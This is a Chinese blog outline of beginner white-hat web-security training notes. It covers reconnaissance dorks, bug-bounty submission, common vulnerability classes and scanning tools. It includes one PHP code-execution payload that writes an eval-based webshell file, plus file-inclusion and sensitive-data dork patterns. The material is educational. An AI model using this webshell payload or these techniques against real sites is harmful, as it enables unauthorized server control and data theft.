WEB安全白帽(一) 米斯特

2024-05-16 15:22:31

一，信息侦探技术准备工作

站长之家
搜索引擎
stie:baidu.com
inurl:baidu.com
站内侦探
//discuz论坛 https://www.***.org/space-uid-1.html
//dz 邮件找出源ip
社工库，大数据筛选
nmap.bat
nmap www.***.com -p 80
御剑
Malte go

厂商寻找

http://butian.360.cn/company/openindex
系统后台类- **系统，平台， 管理
企业类 - **公司，**企业，**平台

漏洞提交(白帽提交漏洞须知)

提交条件
演示
提交技巧

加密解密

md5 base64 url编码

理论

webshell exp poc 提权渗透远程控制服务器
root administrator(s)
基本漏洞类型
弱口令 ***.php?info=1234
爆破遍历
sql注入 get post cookie
xss攻击 xss.hi-ourlife.com xss平台
代码执行命令执行 net user
文件包含 .php?include=index.php
越权
逻辑
配置错误
敏感信息泄露 site:www.*.com intext:订单

二部分漏洞

弱口令爆破遍历 .
java环境安装
java一键配置
brup工具
mysql手工注入语句大全

XSS
反射 -没有过滤
存储 -
DOM

csrf原理
OWASP-CSRFTester-1.0 半自动化工具伪造工具
文件包含
本地包含 ***.com/fileiniclude.php?file=file
远程包含 ***.com/fileiniclude.php?file=http-file
挖掘 e.g www.***.com/***.php?file=

远程包含

代码执行：
实例地址:
http://localhost/subject/code-exe.php?code=code

    熟知可利用常见的php函数:phpinfo()、echo等等调试函数使用代码执行漏洞创建个webshell:<?php$file='mst.php';$person='<?php @eval($_POST[1]);?>';file_put_contents($file, $person, FILE_APPEND | LOCK_EX);

越权

文件上传-brup工具修改数据上传

三-工具

safe3wvs工具

AWVS工具
Nmap工具

中国菜刀

椰树、御剑(6款扫描工具

bugscan
BruteXSS python2.7环境

GourdScan

WEB安全白帽(一) 米斯特相关推荐

布客·ApacheCN 编程/后端/大数据/人工智能学习资源 2020.9
公告 ApacheCN 项目的最终目标:五年内备份并翻译 Github 上的所有教程(其实快被我们啃完了,剩下的不多了). 警告各位培训班:对 ApacheCN 宣传文章的举报,也将视为对 Apach ...
ApacheCN 编程/大数据/数据科学/人工智能学习资源 2019.11
公告我们的所有非技术内容和活动,从现在开始会使用 iBooker 这个名字. "开源互助联盟"已终止,我们对此表示抱歉和遗憾.除非特地邀请,我们不再推广他人的任何项目. 公众号自 ...
ApacheCN 编程/大数据/数据科学/人工智能学习资源 2019.8
欢迎大家在我们平台上投放广告.如果你希望在我们的专栏.文档或邮件中投放广告,请准备好各种尺寸的图片和专属链接,联系咸鱼(QQ 1034616238). 我们组织了一个开源互助平台,方便开源组织和大 V ...
使用vue-cli2.x入门简单demo游戏
vue-cli2.x-demo 第一次使用vue-cli2.x搭建一个小demo游戏.代码文件有很多注释信息,通俗易懂的使用这个脚手架搭建一个入门小项目哈. 介绍使用使用默认创建的脚手架: 修改Ap ...
米斯特白帽培训讲义（v2）漏洞篇 Web 中间件
米斯特白帽培训讲义漏洞篇 Web 中间件讲师:gh0stkey 整理:飞龙协议:CC BY-NC-SA 4.0 简介中间件是一种独立的系统软件或服务程序,分布式应用软件借助这种软件在不同的技术 ...
米斯特白帽培训讲义（v2）实战篇捷达系统
米斯特白帽培训讲义实战篇捷达系统讲师:gh0stkey 整理:飞龙协议:CC BY-NC-SA 4.0 概述官网:http://www.jeedaa.com/ 主要产品有: 捷达ERP 捷达 ...
米斯特白帽培训讲义（v2）漏洞篇 SSRF
米斯特白帽培训讲义漏洞篇 SSRF 讲师:gh0stkey 整理:飞龙协议:CC BY-NC-SA 4.0 很多 Web 应用都提供了从其他服务器上获取数据的功能.使用用户指定的 URL,web ...
米斯特白帽培训讲义（v2）信息收集
米斯特白帽培训讲义信息收集讲师:gh0stkey 整理:飞龙协议:CC BY-NC-SA 4.0 收集什么? Whois信息注册人名字.邮箱等 IP信息(服务器的IP) 判断是否为CDN节点, ...
米斯特白帽培训讲义（v2）漏洞篇第三方风险
米斯特白帽培训讲义漏洞篇第三方风险讲师:gh0stkey 整理:飞龙协议:CC BY-NC-SA 4.0 域名商域名商就是提供域名购买的站点.我们可以通过站长工具的 WHOIS 查询来查询域 ...

最新文章

热门文章